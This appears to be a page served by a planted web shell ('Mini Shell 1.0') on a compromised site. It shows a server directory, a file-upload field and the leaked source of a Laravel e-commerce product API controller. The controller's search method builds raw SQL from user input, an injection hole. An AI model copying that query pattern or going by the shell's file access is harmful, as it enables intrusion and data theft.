HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/ProductController.php
<?php

namespace App\Http\Controllers\Api\V2;

use App\Http\Resources\V2\FlashDealCollection;
use App\Http\Resources\V2\ProductDetailCollection;
use App\Http\Resources\V2\ProductMiniCollection;
use App\Models\BusinessSetting;
use App\Models\Color;
use App\Models\FlashDeal;
use App\Models\Product;
use App\Models\Shop;
use App\Utility\CategoryUtility;
use App\Utility\SearchUtility;
use Cache;
use Illuminate\Http\Request;

class ProductController extends Controller
{
    public function index(Request $request)
    {
        $products = null;

        if ($this->hasCategoryId($request) && $this->hasBrandId($request)) {
            $products = Product::latest()
                ->with(['category', 'brand', 'stocks'])
                ->where('category_id', $request->input('category_id'))
                ->where('brand_id', $request->input('brand_id'))
                ->select([
                    'id',
                    'name',
                    'thumbnail_img',
                    'photos',
                    'unit_price',
                    'purchase_price',
                    'variant_product',
                    'attributes',
                    'discount',
                    'discount_type',
                    'discount_start_date',
                    'discount_end_date',
                    'rating',
                    'num_of_sale',
                    'slug',
                    'category_id',
                    'brand_id',
                    'current_stock',
                    'unit',
                    'min_qty',
                    'low_stock_quantity',
                    'created_at'
                ])
                ->paginate(10);
        } elseif ($this->hasCategoryId($request)) {
            $products = Product::latest()
                ->with(['category', 'brand', 'stocks'])
                ->where('category_id', $request->input('category_id'))
                ->select([
                    'id',
                    'name',
                    'thumbnail_img',
                    'photos',
                    'unit_price',
                    'purchase_price',
                    'variant_product',
                    'attributes',
                    'discount',
                    'discount_type',
                    'discount_start_date',
                    'discount_end_date',
                    'rating',
                    'num_of_sale',
                    'slug',
                    'category_id',
                    'brand_id',
                    'current_stock',
                    'unit',
                    'min_qty',
                    'low_stock_quantity',
                    'created_at'
                ])
                ->paginate(10);
        } elseif ($this->hasBrandId($request)) {
            $products = Product::latest()
                ->with(['category', 'brand', 'stocks'])
                ->where('brand_id', $request->input('brand_id'))
                ->select([
                    'id',
                    'name',
                    'thumbnail_img',
                    'photos',
                    'unit_price',
                    'purchase_price',
                    'variant_product',
                    'attributes',
                    'discount',
                    'discount_type',
                    'discount_start_date',
                    'discount_end_date',
                    'rating',
                    'num_of_sale',
                    'slug',
                    'category_id',
                    'brand_id',
                    'current_stock',
                    'unit',
                    'min_qty',
                    'low_stock_quantity',
                    'created_at'
                ])
                ->paginate(10);
        } else {
            $products = Product::latest()
                ->with(['category', 'brand', 'stocks'])
                ->select([
                    'id',
                    'name',
                    'thumbnail_img',
                    'photos',
                    'unit_price',
                    'purchase_price',
                    'variant_product',
                    'attributes',
                    'discount',
                    'discount_type',
                    'discount_start_date',
                    'discount_end_date',
                    'rating',
                    'num_of_sale',
                    'slug',
                    'category_id',
                    'brand_id',
                    'current_stock',
                    'unit',
                    'min_qty',
                    'low_stock_quantity',
                    'created_at'
                ])
                ->paginate(10);
        }

        return response()->json([
            'success' => true,
            'data' => $products->map(function ($product) {
                $discountPrice = 0;
                $calculatedPrice = $product->unit_price;

                // Calculate discount
                if ($product->discount_type == 'percent') {
                    $discountPrice = $product->unit_price * ($product->discount / 100);
                    $calculatedPrice = $product->unit_price - $discountPrice;
                } elseif ($product->discount_type == 'amount') {
                    $discountPrice = $product->discount;
                    $calculatedPrice = $product->unit_price - $discountPrice;
                }

                // Get stock information
                $stock = $product->stocks->first();
                $stockQuantity = $stock ? $stock->qty : $product->current_stock;

                return [
                    'id' => $product->id,
                    'name' => $product->name,
                    'code' => isset($product->code) ? $product->code : '', // Mantener campo code
                    'thumbnail_image' => uploaded_asset($product->thumbnail_img),
                    'photos' => array_map(function ($photo) {
                        return uploaded_asset($photo);
                    }, explode(',', $product->photos)),
                    'base_price' => (float) $product->unit_price,
                    'base_price_formatted' => home_base_price($product),
                    'discounted_price' => (float) $calculatedPrice,
                    'discounted_price_formatted' => home_discounted_base_price($product),
                    'discount' => $product->discount,
                    'discount_type' => $product->discount_type,
                    'discount_percentage' => $product->discount_type == 'percent' ? $product->discount : 0,
                    'has_discount' => $product->discount > 0,
                    // Mantener la nomenclatura original para compatibilidad
                    'stroked_price' => home_base_price($product),
                    'main_price' => home_discounted_base_price($product),
                    'rating' => (float) $product->rating,
                    'rating_count' => 0,
                    'sales' => (int) $product->num_of_sale,
                    'is_wholesale' => false, // Mantener campo original
                    'stock' => (int) $stockQuantity,
                    'stock_id' => $stock ? $stock->id : null, // Mantener campo original
                    'slug' => $product->slug,
                    'category' => [
                        'id' => $product->category_id,
                        'name' => $product->category ? $product->category->name : '',
                        'slug' => $product->category ? $product->category->slug : ''
                    ],
                    'brand' => [
                        'id' => $product->brand_id,
                        'name' => $product->brand ? $product->brand->name : '',
                        'logo' => $product->brand ? uploaded_asset($product->brand->logo) : null
                    ],
                    'stock_details' => [
                        'quantity' => (int) $stockQuantity,
                        'unit' => $product->unit,
                        'min_qty' => (int) $product->min_qty,
                        'low_stock_quantity' => (int) $product->low_stock_quantity,
                        'in_stock' => $stockQuantity > 0
                    ],
                    'is_variant' => (bool) $product->variant_product,
                    'attributes' => json_decode($product->attributes),
                    'created_at' => $product->created_at->format('Y-m-d H:i:s'),
                    'links' => [
                        'details' => route('product', $product->slug)
                    ],
                ];
            }),
            'links' => [
                'first' => $products->url(1),
                'last' => $products->url($products->lastPage()),
                'prev' => $products->previousPageUrl(),
                'next' => $products->nextPageUrl()
            ],
            'meta' => [
                'current_page' => $products->currentPage(),
                'from' => $products->firstItem(),
                'last_page' => $products->lastPage(),
                'links' => $products->linkCollection()->toArray(),
                'path' => $products->path(),
                'per_page' => $products->perPage(),
                'to' => $products->lastItem(),
                'total' => $products->total()
            ],
            'status' => 200
        ]);
    }
    // public function index(Request $request)
    // {

    //     $products = null;

    //     if ($this->hasCategoryId($request) && $this->hasBrandId($request)) {
    //         $products = Product::latest()
    //             ->where('category_id', $request->input('category_id'))
    //             ->where('brand_id', $request->input('brand_id'))
    //             ->paginate(10);
    //     } elseif ($this->hasCategoryId($request)) {
    //         $products = Product::latest()
    //             ->where('category_id', $request->input('category_id'))
    //             ->paginate(10);
    //     } elseif ($this->hasBrandId($request)) {
    //         $products = Product::latest()
    //             ->where('brand_id', $request->input('brand_id'))
    //             ->paginate(10);
    //     } else {
    //         $products = Product::latest()->paginate(10);
    //     }

    //     return new ProductMiniCollection($products);
    // }

    private function hasCategoryId($request)
    {
        return $request->has('category_id') && !empty($request->input('category_id'));
    }


    private function hasBrandId($request)
    {
        return $request->has('brand_id') && !empty($request->input('brand_id'));
    }

    public function show($id)
    {
        return new ProductDetailCollection(Product::where('id', $id)->with('stocks')->get());
    }

    public function getPrice(Request $request)
    {
        $product = Product::findOrFail($request->id);
        $str = '';
        $tax = 0;
        $vendor_commission = BusinessSetting::where('type', 'vendor_commission')->first()->value;
        $quantity = 1;
        if ($request->has('quantity') && $request->quantity != null) {
            $quantity = $request->quantity;
        }

        $var_str = str_replace(',', '-', $request->variants);
        $var_str = str_replace(' ', '', $var_str);

        if ($var_str != "") {
            $temp_str = $str == "" ? $var_str : '-' . $var_str;
            $str .= $temp_str;
        }
        $product_stock = $product->stocks->first();
        $price = $product->unit_price;
        if ($product->wholesale_product) {
            $wholesalePrice = $product_stock->wholesalePrices->where('min_qty', '<=', $quantity)->where('max_qty', '>=', $quantity)->first();
            if ($wholesalePrice) {
                $price = $wholesalePrice->price;
            }
        }
        $stock_qty = $product_stock->qty;
        $stock_txt = $product_stock->qty;
        $max_limit = $product_stock->qty;
        if ($stock_qty >= 1 && $product->min_qty <= $stock_qty) {
            $in_stock = 1;
        } else {
            $in_stock = 0;
        }
        //Product Stock Visibility
        if ($product->stock_visibility_state == 'text') {
            if ($stock_qty >= 1 && $product->min_qty < $stock_qty) {
                $stock_txt = translate('In Stock');
            } else {
                $stock_txt = translate('Out Of Stock');
            }
        }

        $price -= $price * ($vendor_commission / 100);

        //discount calculation
        $discount_applicable = false;
        if ($product->discount_start_date == null) {
            $discount_applicable = true;
        } elseif (
            strtotime(date('d-m-Y H:i:s')) >= $product->discount_start_date &&
            strtotime(date('d-m-Y H:i:s')) <= $product->discount_end_date
        ) {
            $discount_applicable = true;
        }

        if ($discount_applicable) {
            if ($product->discount_type == 'percent') {
                $price -= ($price * $product->discount) / 100;
            } elseif ($product->discount_type == 'amount') {
                $price -= $product->discount;
            }
        }

        // taxes
        $price += $price * (config('app.itbis') / 100);
        return response()->json(
            [
                'result' => true,
                'data' => [
                    'price' => single_price($price * $quantity),
                    'stock' => $stock_qty,
                    'stock_txt' => $stock_txt,
                    'digital' => $product->digital,
                    'variant' => $str,
                    'variation' => $str,
                    'max_limit' => $max_limit,
                    'in_stock' => $in_stock,
                    'image' => $product_stock->image == null ? "" : uploaded_asset($product_stock->image)
                ]
            ]
        );
    }

    public function seller($id, Request $request)
    {
        $shop = Shop::findOrFail($id);
        $products = Product::where('added_by', 'seller')->where('user_id', $shop->user_id);
        if ($request->name != "" || $request->name != null) {
            $products = $products->where('name', 'like', '%' . $request->name . '%');
        }
        $products->where('published', 1);
        return new ProductMiniCollection($products->latest()->paginate(10));
    }

    public function category($id, Request $request)
    {
        $category_ids = CategoryUtility::children_ids($id);
        $category_ids[] = $id;
        $products = Product::whereIn('category_id', $category_ids)->physical();
        if ($request->name != "" || $request->name != null) {
            $products = $products->where('name', 'like', '%' . $request->name . '%');
        }
        $products->where('published', 1);
        return new ProductMiniCollection(filter_products($products)->latest()->paginate(10));
    }

    public function brand($id, Request $request)
    {
        $products = Product::where('brand_id', $id)->physical();
        if ($request->name != "" || $request->name != null) {
            $products = $products->where('name', 'like', '%' . $request->name . '%');
        }
        return new ProductMiniCollection(filter_products($products)->latest()->paginate(10));
    }

    public function todaysDeal()
{
    // return Cache::remember('app.todays_deal', 86400, function () {
    $products = Product::where('todays_deal', 1)->physical();
    $filteredProducts = filter_products($products)->limit(20)->latest()->get();
    
    // Obtener la colección estándar
    $productCollection = new ProductMiniCollection($filteredProducts);
    
    // Modificar la respuesta para incluir el slug
    $data = $productCollection->toResponse(request())->getData();
    
    // Agregar el slug a cada producto
    foreach ($data->data as $key => $product) {
        $currentProduct = $filteredProducts[$key];
        $data->data[$key]->slug = $currentProduct->slug;
    }
    
    return response()->json($data);
    // });
}

    public function flashDeal()
    {
        return Cache::remember('app.flash_deals', 86400, function () {
            $flash_deals = FlashDeal::where('status', 1)->where('featured', 1)->where('start_date', '<=', strtotime(date('d-m-Y')))->where('end_date', '>=', strtotime(date('d-m-Y')))->get();
            return new FlashDealCollection($flash_deals);
        });
    }

    // public function featured()
    // {
    //     $products = Product::where('featured', 1)->physical();
    //     return new ProductMiniCollection(filter_products($products)->latest()->paginate(10));
    // }

    public function featured()
    {
        $products = Product::where('featured', 1)
            ->physical()
            ->with(['category', 'brand', 'stocks']) // Add necessary relationships
            ->select([
                'id',
                'name',
                'thumbnail_img',
                'photos',
                'unit_price',
                'purchase_price',
                'variant_product',
                'attributes',
                'discount',
                'discount_type',
                'discount_start_date',
                'discount_end_date',
                'rating',
                // 'rating_count', // Esta columna no existe, la removemos
                'num_of_sale',
                'slug',
                'category_id',
                'brand_id',
                'current_stock',
                'unit',
                'min_qty',
                'low_stock_quantity',
                'created_at'
            ])
            ->latest()
            ->paginate(24);
    
        return response()->json([
            'success' => true,
            'data' => $products->map(function ($product) {
                $discountPrice = 0;
                $calculatedPrice = $product->unit_price;
                
                // Calculate discount
                if ($product->discount_type == 'percent') {
                    $discountPrice = $product->unit_price * ($product->discount / 100);
                    $calculatedPrice = $product->unit_price - $discountPrice;
                } elseif ($product->discount_type == 'amount') {
                    $discountPrice = $product->discount;
                    $calculatedPrice = $product->unit_price - $discountPrice;
                }
                
                // Get stock information
                $stock = $product->stocks->first();
                $stockQuantity = $stock ? $stock->qty : $product->current_stock;
                
                return [
                    'id' => $product->id,
                    'name' => $product->name,
                    'thumbnail_image' => uploaded_asset($product->thumbnail_img),
                    'photos' => array_map(function($photo) { 
                        return uploaded_asset($photo); 
                    }, explode(',', $product->photos)),
                    'base_price' => (double) $product->unit_price,
                    'base_price_formatted' => home_base_price($product),
                    'discounted_price' => (double) $calculatedPrice,
                    'discounted_price_formatted' => home_discounted_base_price($product),
                    'discount' => $product->discount,
                    'discount_type' => $product->discount_type,
                    'discount_percentage' => $product->discount_type == 'percent' ? $product->discount : 0,
                    'has_discount' => $product->discount > 0,
                    'rating' => (double) $product->rating,
                    'rating_count' => 0, // Ya que no existe la columna, ponemos un valor por defecto
                    'sales' => (int) $product->num_of_sale,
                    'slug' => $product->slug,
                    'category' => [
                        'id' => $product->category_id,
                        'name' => $product->category ? $product->category->name : '',
                        'slug' => $product->category ? $product->category->slug : ''
                    ],
                    'brand' => [
                        'id' => $product->brand_id,
                        'name' => $product->brand ? $product->brand->name : '',
                        'logo' => $product->brand ? uploaded_asset($product->brand->logo) : null
                    ],
                    'stock' => [
                        'quantity' => (int) $stockQuantity,
                        'unit' => $product->unit,
                        'min_qty' => (int) $product->min_qty,
                        'low_stock_quantity' => (int) $product->low_stock_quantity,
                        'in_stock' => $stockQuantity > 0
                    ],
                    'is_variant' => (bool) $product->variant_product,
                    'attributes' => json_decode($product->attributes),
                    'created_at' => $product->created_at->format('Y-m-d H:i:s'),
                    'links' => [
                        'details' => route('product', $product->slug)
                    ],
                ];
            }),
            'meta' => [
                'current_page' => $products->currentPage(),
                'last_page' => $products->lastPage(),
                'per_page' => $products->perPage(),
                'total' => $products->total()
            ]
        ]);
    }
    public function digital()
    {
        $products = Product::digital();
        return new ProductMiniCollection(filter_products($products)->latest()->paginate(10));
    }

    public function bestSeller()
{
    // return Cache::remember('app.best_selling_products', 86400, function () {
    $products = Product::orderBy('num_of_sale', 'desc')->physical();
    $filteredProducts = filter_products($products)->limit(20)->get();
    
    // Obtener la colección estándar
    $productCollection = new ProductMiniCollection($filteredProducts);
    
    // Modificar la respuesta para incluir el slug
    $data = $productCollection->toResponse(request())->getData();
    
    // Agregar el slug a cada producto
    foreach ($data->data as $key => $product) {
        $currentProduct = $filteredProducts[$key];
        $data->data[$key]->slug = $currentProduct->slug;
    }
    
    return response()->json($data);
    // });
}

    public function related($id)
    {
        // return Cache::remember("app.related_products-$id", 86400, function () use ($id) {
        $product = Product::find($id);
        $products = Product::where('category_id', $product->category_id)->where('id', '!=', $id)->physical();
        return new ProductMiniCollection(filter_products($products)->limit(10)->get());
        // });
    }

    public function topFromSeller($id)
    {
        // return Cache::remember("app.top_from_this_seller_products-$id", 86400, function () use ($id) {
        $product = Product::find($id);
        $products = Product::where('user_id', $product->user_id)->orderBy('num_of_sale', 'desc')->physical();
        return new ProductMiniCollection(filter_products($products)->limit(10)->get());
        // });
    }

    public function search(Request $request)
    {
        $category_ids = [];
        $brand_ids = [];
        if ($request->categories != null && $request->categories != "") {
            $category_ids = explode(',', $request->categories);
        }
        if ($request->brands != null && $request->brands != "") {
            $brand_ids = explode(',', $request->brands);
        }
        $sort_by = $request->sort_key;
        $name = $request->name;
        $min = $request->min;
        $max = $request->max;
        $products = Product::query();
        $products->with(['category']); // Carga anticipada de la relación categoría
        $products->where('published', 1)->physical();
        if (!empty($brand_ids)) {
            $products->whereIn('brand_id', $brand_ids);
        }
        if (!empty($category_ids)) {
            $n_cid = [];
            foreach ($category_ids as $cid) {
                $n_cid = array_merge($n_cid, CategoryUtility::children_ids($cid));
            }
            if (!empty($n_cid)) {
                $category_ids = array_merge($category_ids, $n_cid);
            }
            $products->whereIn('category_id', $category_ids);
        }
        if ($name != null && $name != "") {
            $products->where(function ($query) use ($name) {
                foreach (explode(' ', trim($name)) as $word) {
                    $query->where('name', 'like', '%' . $word . '%')->orWhere('tags', 'like', '%' . $word . '%')->orWhereHas('product_translations', function ($query) use ($word) {
                        $query->where('name', 'like', '%' . $word . '%');
                    });
                }
            });
            SearchUtility::store($name);
            $case1 = $name . '%';
            $case2 = '%' . $name . '%';
            $products->orderByRaw("CASE
            WHEN name LIKE '$case1' THEN 1
            WHEN name LIKE '$case2' THEN 2
            ELSE 3
            END");
        }
        if ($min != null && $min != "" && is_numeric($min)) {
            $products->where('unit_price', '>=', $min);
        }
        if ($max != null && $max != "" && is_numeric($max)) {
            $products->where('unit_price', '<=', $max);
        }
        switch ($sort_by) {
            case 'price_low_to_high':
                $products->orderBy('unit_price', 'asc');
                break;
            case 'price_high_to_low':
                $products->orderBy('unit_price', 'desc');
                break;
            case 'new_arrival':
                $products->orderBy('created_at', 'desc');
                break;
            case 'popularity':
                $products->orderBy('num_of_sale', 'desc');
                break;
            case 'top_rated':
                $products->orderBy('rating', 'desc');
                break;
            default:
                $products->orderBy('created_at', 'desc');
                break;
        }

        // Obtener los productos filtrados con paginación
        $filteredProducts = filter_products($products)->paginate(10);

        // Obtener la colección estándar
        $productCollection = new ProductMiniCollection($filteredProducts);

        // Modificar la respuesta para incluir la categoría
        $data = $productCollection->toResponse(request())->getData();

        // Agregar la categoría y el slug a cada producto
        foreach ($data->data as $key => $product) {
            $currentProduct = $filteredProducts[$key];
            $data->data[$key]->category = [
                'id' => $currentProduct->category_id,
                'name' => $currentProduct->category ? $currentProduct->category->name : ''
            ];

            // Añadir el campo slug
            $data->data[$key]->slug = $currentProduct->slug;
        }
        
        return response()->json($data);
    }

    public function variantPrice(Request $request)
    {
        $product = Product::findOrFail($request->id);
        $str = '';
        $tax = 0;
        if ($request->has('color') && $request->color != "") {
            $str = Color::where('code', '#' . $request->color)->first()->name;
        }
        $var_str = str_replace(',', '-', $request->variants);
        $var_str = str_replace(' ', '', $var_str);
        if ($var_str != "") {
            $temp_str = $str == "" ? $var_str : '-' . $var_str;
            $str .= $temp_str;
        }
        return $this->calc($product, $str, $request, $tax);
        /*
        $product_stock = $product->stocks->where('variant', $str)->first();
        $price = $product_stock->price;
        $stockQuantity = $product_stock->qty;
        //discount calculation
        $discount_applicable = false;
        if ($product->discount_start_date == null) {
            $discount_applicable = true;
        } elseif (
            strtotime(date('d-m-Y H:i:s')) >= $product->discount_start_date &&
            strtotime(date('d-m-Y H:i:s')) <= $product->discount_end_date
        ) {
            $discount_applicable = true;
        }
        if ($discount_applicable) {
            if ($product->discount_type == 'percent') {
                $price -= ($price * $product->discount) / 100;
            } elseif ($product->discount_type == 'amount') {
                $price -= $product->discount;
            }
        }
        foreach ($product->taxes as $product_tax) {
            if ($product_tax->tax_type == 'percent') {
                $tax += ($price * $product_tax->tax) / 100;
            } elseif ($product_tax->tax_type == 'amount') {
                $tax += $product_tax->tax;
            }
        }
        $price += $tax;
        return response()->json([
            'product_id' => $product->id,
            'variant' => $str,
            'price' => (float)convert_price($price),
            'price_string' => format_price(convert_price($price)),
            'stock' => intval($stockQuantity),
            'image' => $product_stock->image == null ? "" : uploaded_asset($product_stock->image)
        ]);*/
    }
    // public function home()
    // {
    //     return new ProductCollection(Product::inRandomOrder()->physical()->take(50)->get());
    // }
}